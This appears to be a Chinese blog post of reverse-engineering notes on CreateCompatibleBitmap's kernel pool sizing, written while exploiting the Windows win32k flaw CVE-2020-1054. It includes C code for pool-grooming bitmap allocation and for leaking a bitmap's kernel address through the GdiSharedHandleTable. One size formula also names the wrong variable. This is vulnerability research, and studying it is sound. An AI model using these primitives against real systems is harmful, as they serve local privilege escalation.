BitMap大小探索之CreateCompatibleBitmap
阿新 • • 發佈:2020-08-07
目錄
BitMap大小探索筆記
在分析CVE-2020-1054漏洞時,在佔位過程中用到過CreateCompatibleBitmap函式,目標是構造一個0x70000大小的bitmap物件。
分析文章如下
https://bbs.pediy.com/thread-260884.htm
下面是CreateCompatibleBitmap的逆向筆記
CreateCompatibleBitmap逆向分析
該函式原型如下
HBITMAP CreateCompatibleBitmap( HDC hdc, int cx, int cy ); Parameters hdc A handle to a device context. cx The bitmap width, in pixels. cy The bitmap height, in pixels.
其呼叫流程如下
CreateCompatibleBitmap-->NtGdiCreateCompatibleBitmap-->GreCreateCompatibleBitmap-->hsurfCreateCompatibleSurface-->bCreateDIB-->AllocateObject(bCreateDIB+0x1f3)-->ExAllocatePoolWithTag
關鍵在於bCreateDIB的第二個引數,如下圖第二個引數為結構體DEVBITMAPINFO指標,佈局如下,可以看到此時傳入的iFormat為1,cxBitmap和cyBitmap是我們傳入的值
以iFormat為1基準,測試bitmap大小,如下圖當iFormat為1,則會進行第一次運算,公式為:nResult==((cxBitmap + 0x1F) >> 3) & 0x1FFFFFFC);
向下繼續走第二次運算
nResult==(((cxBitmap + 0x1F) >> 3) & 0x1FFFFFFC)*cxBitmap+0x238;
最終呼叫ExAllocatePoolWithTag如下圖,傳入的值為0x6f238,以0x1000位元組對齊,申請的大小為0x70000
C語言驗證程式碼
#include <Windows.h> #include <stdio.h> typedef struct _HANDLEENTRY { PVOID phead; PVOID pOwner; BYTE bType; BYTE bFlags; WORD wUniq; } HANDLEENTRY, *PHANDLEENTRY; typedef struct _SERVERINFO { WORD wRIPFlags; WORD wSRVIFlags; WORD wRIPPID; WORD wRIPError; ULONG cHandleEntries; } SERVERINFO, *PSERVERINFO; typedef struct _SHAREDINFO { PSERVERINFO psi; PHANDLEENTRY aheList; ULONG HeEntrySize; } SHAREDINFO, *PSHAREDINFO; typedef struct _LARGE_STRING { ULONG Length; ULONG MaximumLength : 31; ULONG bAnsi : 1; PVOID Buffer; } LARGE_STRING, *PLARGE_STRING; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsLegacyProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN SpareBits : 3; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PVOID Ldr; PVOID ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; PVOID AtlThunkSListPtr; PVOID IFEOKey; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; ULONG ProcessInitializing : 1; ULONG ProcessUsingVEH : 1; ULONG ProcessUsingVCH : 1; ULONG ProcessUsingFTH : 1; ULONG ReservedBits0 : 27; }; ULONG EnvironmentUpdateCount; }; union { PVOID KernelCallbackTable; PVOID UserSharedInfoPtr; }; } PEB, *PPEB; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; }TEB, *PTEB; int main(int argc, char *argv[]) { //exploit dc HDC exploit_dc = CreateCompatibleDC(0x0); PBYTE pExpBitmapObj = 0; system("pause"); HBITMAP hExploitBit = CreateCompatibleBitmap(exploit_dc, 0x6f000, 0x8); printf("[+]hExploitBit Handle address: %p\n", hExploitBit); PTEB Teb = NtCurrentTeb(); PPEB Peb = Teb->ProcessEnvironmentBlock; if (Peb == NULL) { return FALSE; } printf("[+]Peb Pointer address : %p\n", Peb); PBYTE GdiSharedHandleTable = *(PBYTE *)((ULONGLONG)Peb + 0xF8); if (GdiSharedHandleTable == NULL) { return FALSE; } printf("[+]GdiSharedHandleTable Pointer address: %p\n", GdiSharedHandleTable); //獲取 漏洞物件 核心地址 pExpBitmapObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hExploitBit) & 0xffff)); printf("[+]dwExpBitmapObj Lookup address: %p\n", pExpBitmapObj); };